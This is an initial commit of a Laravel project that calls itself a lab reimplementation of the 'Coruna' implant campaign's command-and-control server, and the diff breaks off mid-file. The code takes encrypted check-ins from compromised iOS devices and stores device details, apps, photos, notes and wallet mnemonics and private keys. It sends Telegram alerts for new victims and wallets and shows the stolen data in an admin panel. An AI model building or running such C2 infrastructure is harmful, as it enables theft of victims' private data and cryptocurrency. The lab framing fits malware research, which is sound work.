init
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
indent_size = 4
|
||||
indent_style = space
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
|
||||
[*.{yml,yaml}]
|
||||
indent_size = 2
|
||||
|
||||
[compose.yaml]
|
||||
indent_size = 4
|
||||
@@ -0,0 +1,59 @@
|
||||
APP_NAME="Coruna Lab"
|
||||
APP_ENV=local
|
||||
APP_KEY=
|
||||
APP_DEBUG=true
|
||||
APP_URL=http://127.0.0.1:8000
|
||||
|
||||
APP_LOCALE=en
|
||||
APP_FALLBACK_LOCALE=en
|
||||
APP_FAKER_LOCALE=en_US
|
||||
|
||||
APP_MAINTENANCE_DRIVER=file
|
||||
|
||||
BCRYPT_ROUNDS=12
|
||||
|
||||
LOG_CHANNEL=stack
|
||||
LOG_STACK=single
|
||||
LOG_DEPRECATIONS_CHANNEL=null
|
||||
LOG_LEVEL=debug
|
||||
|
||||
# Preferred: MySQL 8.0
|
||||
DB_CONNECTION=mysql
|
||||
DB_HOST=127.0.0.1
|
||||
DB_PORT=3306
|
||||
DB_DATABASE=coruna
|
||||
DB_USERNAME=root
|
||||
DB_PASSWORD=
|
||||
|
||||
# Fallback for smoke tests when MySQL creds unavailable:
|
||||
# DB_CONNECTION=sqlite
|
||||
# DB_DATABASE=database/database.sqlite
|
||||
|
||||
SESSION_DRIVER=file
|
||||
SESSION_LIFETIME=120
|
||||
SESSION_ENCRYPT=false
|
||||
SESSION_PATH=/
|
||||
SESSION_DOMAIN=null
|
||||
|
||||
BROADCAST_CONNECTION=log
|
||||
FILESYSTEM_DISK=local
|
||||
QUEUE_CONNECTION=sync
|
||||
CACHE_STORE=file
|
||||
|
||||
# Admin seeder defaults
|
||||
ADMIN_USERNAME=admin
|
||||
ADMIN_PASSWORD=admin123
|
||||
|
||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||
CORUNA_SESSION_KEY=
|
||||
CORUNA_7Z_BIN=/opt/homebrew/opt/p7zip/bin/7z
|
||||
|
||||
# Telegram (new device / new wallet only — no bot commands, no /kill)
|
||||
TELEGRAM_BOT_TOKEN=
|
||||
TELEGRAM_OWNER_CHAT_ID=
|
||||
|
||||
# Reserved payout addresses — NOT wired (transfer skipped)
|
||||
PAYOUT_ETH=
|
||||
PAYOUT_BTC=
|
||||
PAYOUT_TRON=
|
||||
PAYOUT_SOL=
|
||||
@@ -0,0 +1,11 @@
|
||||
* text=auto eol=lf
|
||||
|
||||
*.blade.php diff=html
|
||||
*.css diff=css
|
||||
*.html diff=html
|
||||
*.md diff=markdown
|
||||
*.php diff=php
|
||||
|
||||
/.github export-ignore
|
||||
CHANGELOG.md export-ignore
|
||||
.styleci.yml export-ignore
|
||||
@@ -0,0 +1,26 @@
|
||||
*.log
|
||||
.DS_Store
|
||||
.env
|
||||
.env.backup
|
||||
.env.production
|
||||
.phpactor.json
|
||||
.phpunit.result.cache
|
||||
/.fleet
|
||||
/.idea
|
||||
/.nova
|
||||
/.phpunit.cache
|
||||
/.vscode
|
||||
/.zed
|
||||
/auth.json
|
||||
/node_modules
|
||||
/public/build
|
||||
/public/hot
|
||||
/public/log/*
|
||||
!/public/log/.gitignore
|
||||
/public/storage
|
||||
/storage/*.key
|
||||
/storage/pail
|
||||
/vendor
|
||||
Homestead.json
|
||||
Homestead.yaml
|
||||
Thumbs.db
|
||||
@@ -0,0 +1,98 @@
|
||||
# Coruna Lab C2 + Admin
|
||||
|
||||
Laravel reporting C2 API and LayuiAdmin console for local lab use.
|
||||
|
||||
- Implements reporting routes from the Coruna dataflow doc (§7.2)
|
||||
- AES-256-ECB JSON transport + multipart `/api/user/check` 7z extract
|
||||
- Persists devices / apps / photos / notes / wallets + full `c2_raw_logs`
|
||||
- Telegram notify on **new device** and **new/changed wallet address** only
|
||||
- **Does not** implement `/kill` or any mnemonic/private-key transfer
|
||||
|
||||
## Requirements
|
||||
|
||||
| Tool | Path / note |
|
||||
|------|-------------|
|
||||
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php` (do **not** use PATH’s old 7.3) |
|
||||
| Composer | via brew PHP |
|
||||
| MySQL 8.0 | preferred (`coruna_lab` DB) — sqlite works for smoke |
|
||||
| p7zip | `/opt/homebrew/opt/p7zip/bin/7z` for photo archives |
|
||||
|
||||
```bash
|
||||
export PATH="/opt/homebrew/opt/php/bin:$PATH"
|
||||
php -v # expect 8.5.x
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd coruna-lab/server
|
||||
cp .env.example .env # if needed
|
||||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*
|
||||
|
||||
# MySQL 8 (DB: coruna) — set DB_* in .env then:
|
||||
php artisan key:generate # once
|
||||
php artisan migrate --seed
|
||||
php artisan serve --host=0.0.0.0 --port=8000
|
||||
```
|
||||
|
||||
Admin UI uses **layuiAdmin std iframe** assets from `public/static/layuiadmin/`
|
||||
(synced from local `layuiAdmin.std-v1.4.0/dist/layuiadmin`).
|
||||
|
||||
Default admin (from seeder / `.env`):
|
||||
|
||||
- Shell: `http://127.0.0.1:8000/admin`
|
||||
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`
|
||||
|
||||
## Point reporting at this lab
|
||||
|
||||
Implants call the campaign reporting host. For lab capture, resolve that host to this machine (DNS / `/etc/hosts` / mitm) so traffic hits `php artisan serve` (or a reverse proxy in front of `public/`).
|
||||
|
||||
C2 routes are unauthenticated (client-compatible). Admin is session-auth under `/admin`.
|
||||
|
||||
## C2 API reference
|
||||
|
||||
各 reporting 接口用途、请求/响应数据结构:[`docs/C2_API.md`](docs/C2_API.md)。
|
||||
|
||||
## Crypto
|
||||
|
||||
```text
|
||||
session_key = map(b -> (b%94)+33, bytes.fromhex(derive_archive_password(0))) # 16 ASCII
|
||||
aes_key = SHA256(session_key || timestamp) # 13-digit header
|
||||
body = Base64(AES-256-ECB-PKCS7(timestamp || payload))
|
||||
```
|
||||
|
||||
Optional `.env` override: `CORUNA_SESSION_KEY` (16 ASCII). Empty = PHP KDF (parity with Python `coruna_netconfig_pipeline.derive_archive_password(0)`).
|
||||
|
||||
Known vector: `SHA256(session_key) = 9bcc53d7…ef1be1e4`.
|
||||
|
||||
`/api/user/check`: repair Coruna 7z header, password `session_key||batchBase` (default `0`). `sig` is ignored.
|
||||
|
||||
## Env knobs
|
||||
|
||||
| Key | Purpose |
|
||||
|-----|---------|
|
||||
| `TELEGRAM_BOT_TOKEN` / `TELEGRAM_OWNER_CHAT_ID` | New device / wallet alerts |
|
||||
| `PAYOUT_ETH` / `BTC` / `TRON` / `SOL` | Reserved only — **not wired** |
|
||||
| `CORUNA_7Z_BIN` | p7zip binary |
|
||||
|
||||
## Tests
|
||||
|
||||
```bash
|
||||
php artisan test
|
||||
# Unit: CorunaCrypto vs Python vectors
|
||||
# Feature: query / avatar/set ingest / admin login
|
||||
```
|
||||
|
||||
## Layout
|
||||
|
||||
```text
|
||||
app/Services/CorunaCrypto.php # KDF + AES
|
||||
app/Services/CorunaArchive.php # 7z repair/extract
|
||||
app/Services/IngestService.php # device/apps/photos/notes/wallets
|
||||
app/Services/TelegramNotifier.php
|
||||
app/Http/Middleware/DecryptCorunaBody.php
|
||||
app/Http/Controllers/C2/…
|
||||
app/Http/Controllers/Admin/…
|
||||
public/static/layuiadmin/ # Layui UI assets
|
||||
storage/app/c2/ # check extracts + photos
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
/* C2 / API request file logs — patterned after qrpay create_log */
|
||||
|
||||
if (! function_exists('create_log')) {
|
||||
/**
|
||||
* Append a line to public/log/{type}/Ymd.log
|
||||
*
|
||||
* @param array|string $str
|
||||
*/
|
||||
function create_log($str, string $type = 'c2'): void
|
||||
{
|
||||
$str = is_array($str) ? json_encode($str, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) : (string) $str;
|
||||
$logPath = public_path('log/'.$type);
|
||||
if (! is_dir($logPath)) {
|
||||
$old = umask(0);
|
||||
mkdir($logPath, 0777, true);
|
||||
umask($old);
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
try {
|
||||
$url = request()->getRequestUri();
|
||||
} catch (\Throwable) {
|
||||
$url = $_SERVER['REQUEST_URI'] ?? '';
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
$isNew = ! file_exists($logName);
|
||||
file_put_contents($logName, $logStr, FILE_APPEND);
|
||||
if ($isNew) {
|
||||
try {
|
||||
chmod($logName, 0777);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('admin')->check()) {
|
||||
return redirect()->route('admin.home');
|
||||
}
|
||||
|
||||
return view('admin.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('admin.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
if (Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('admin.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('admin')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('admin.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\Wallet;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$filters = [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
];
|
||||
|
||||
$q = Device::query()->orderByDesc('updated_at');
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
|
||||
$q->whereDate('created_at', '>=', $filters['installed_from']);
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
|
||||
$q->whereDate('created_at', '<=', $filters['installed_to']);
|
||||
}
|
||||
|
||||
$devices = $q->paginate(30)->withQueryString();
|
||||
|
||||
return view('admin.devices.index', compact('devices', 'filters'));
|
||||
}
|
||||
|
||||
public function show(Device $device, Request $request)
|
||||
{
|
||||
$tab = $request->query('tab', 'apps');
|
||||
if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
|
||||
$tab = 'apps';
|
||||
}
|
||||
|
||||
$apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
|
||||
$events = $device->events()->orderByDesc('id')->limit(500)->get();
|
||||
$photos = $device->photos()->orderByDesc('id')->limit(200)->get();
|
||||
$notes = $device->notes()->orderByDesc('id')->limit(200)->get();
|
||||
$wallets = $device->wallets()->orderByDesc('id')->get();
|
||||
$addresses = $device->addresses()->orderByDesc('id')->get();
|
||||
|
||||
$maskedWallets = $wallets->map(function (Wallet $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source_app' => $w->source_app,
|
||||
'mnemonic' => Wallet::maskSecret($w->mnemonic),
|
||||
'privkey' => Wallet::maskSecret($w->privkey),
|
||||
'created_at' => $w->created_at,
|
||||
];
|
||||
});
|
||||
|
||||
return view('admin.devices.show', compact(
|
||||
'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
|
||||
));
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
{
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$dir = public_path('log/c2');
|
||||
$files = [];
|
||||
if (is_dir($dir)) {
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
}
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $file)
|
||||
{
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/c2/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
$raw = (string) file_get_contents($full);
|
||||
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
|
||||
$entries = [];
|
||||
foreach ($chunks as $chunk) {
|
||||
$chunk = trim($chunk);
|
||||
if ($chunk === '') {
|
||||
continue;
|
||||
}
|
||||
if ($path !== '' && ! str_contains($chunk, $path)) {
|
||||
continue;
|
||||
}
|
||||
if ($device !== '' && ! str_contains($chunk, $device)) {
|
||||
continue;
|
||||
}
|
||||
$entries[] = $chunk;
|
||||
}
|
||||
$entries = array_reverse($entries);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'file' => $safe,
|
||||
'entries' => $entries,
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
{
|
||||
return response('OK', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
// keystore-ish blobs
|
||||
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestWalletSecrets($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$deviceKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter(['d' => $deviceKey]),
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$counters = [
|
||||
'count' => $request->input('count'),
|
||||
'total' => $request->input('total'),
|
||||
'index' => $request->input('index'),
|
||||
'batchBase' => $batchBase,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'counters' => $counters,
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function profileNop(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
}
|
||||
|
||||
public function linkConfigIcon(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function encryptedAck($data = null): Response
|
||||
{
|
||||
if ($data === null) {
|
||||
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
||||
}
|
||||
$enc = $this->crypto->encryptJson($data);
|
||||
|
||||
return response($enc['body'], 200)
|
||||
->header('Content-Type', 'text/plain')
|
||||
->header('timestamp', $enc['timestamp']);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
abstract class Controller
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
class DecryptCorunaBody
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$headers = [];
|
||||
foreach (['timestamp', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
$timestamp = (string) $request->header('timestamp', '');
|
||||
$payload = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
$deviceKey = null;
|
||||
|
||||
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
if ($request->isMethod('GET')) {
|
||||
$decryptOk = true;
|
||||
} elseif ($isMultipart) {
|
||||
$payload = [
|
||||
'form' => $request->except(['file']),
|
||||
'has_file' => $request->hasFile('file'),
|
||||
];
|
||||
$decryptOk = true;
|
||||
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||
} elseif ($raw !== '' && $timestamp !== '') {
|
||||
try {
|
||||
$payload = $this->crypto->decryptJsonBody($raw, $timestamp);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
}
|
||||
} elseif ($raw === '') {
|
||||
$decryptOk = true;
|
||||
} else {
|
||||
$error = 'missing timestamp or body';
|
||||
}
|
||||
|
||||
// Device id currently only from d/f (same value in live traffic).
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
|
||||
$response = $next($request);
|
||||
|
||||
$this->logResponse($request, $response, $path, $deviceKey);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
||||
{
|
||||
$respBody = (string) $response->getContent();
|
||||
$respTs = (string) $response->headers->get('timestamp', '');
|
||||
$respHeaders = [];
|
||||
foreach (['timestamp', 'content-type', 'content-length'] as $h) {
|
||||
if ($response->headers->has($h)) {
|
||||
$respHeaders[$h] = $response->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$plain = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
|
||||
// GET /api/user/query → plain "OK"
|
||||
if ($request->isMethod('GET') || $respTs === '') {
|
||||
$plain = strlen($respBody) > 200000 ? substr($respBody, 0, 200000) : $respBody;
|
||||
$decryptOk = true;
|
||||
} elseif ($respBody !== '') {
|
||||
try {
|
||||
$plain = $this->crypto->decryptJsonBody($respBody, $respTs);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
$plain = strlen($respBody) > 2000 ? substr($respBody, 0, 2000) : $respBody;
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'out',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'status' => $response->getStatusCode(),
|
||||
'timestamp_hdr' => $respTs ?: null,
|
||||
'headers' => $respHeaders,
|
||||
'payload' => is_array($plain) || $plain === null || is_string($plain)
|
||||
? $plain
|
||||
: ['value' => $plain],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class Admin extends Authenticatable
|
||||
{
|
||||
protected $fillable = ['username', 'password'];
|
||||
|
||||
protected $hidden = ['password', 'remember_token'];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
public function apps(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceApp::class);
|
||||
}
|
||||
|
||||
public function events(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceEvent::class);
|
||||
}
|
||||
|
||||
public function photos(): HasMany
|
||||
{
|
||||
return $this->hasMany(Photo::class);
|
||||
}
|
||||
|
||||
public function notes(): HasMany
|
||||
{
|
||||
return $this->hasMany(Note::class);
|
||||
}
|
||||
|
||||
public function wallets(): HasMany
|
||||
{
|
||||
return $this->hasMany(Wallet::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceApp extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'bundle_id', 'name', 'version', 'is_wallet', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'is_wallet' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
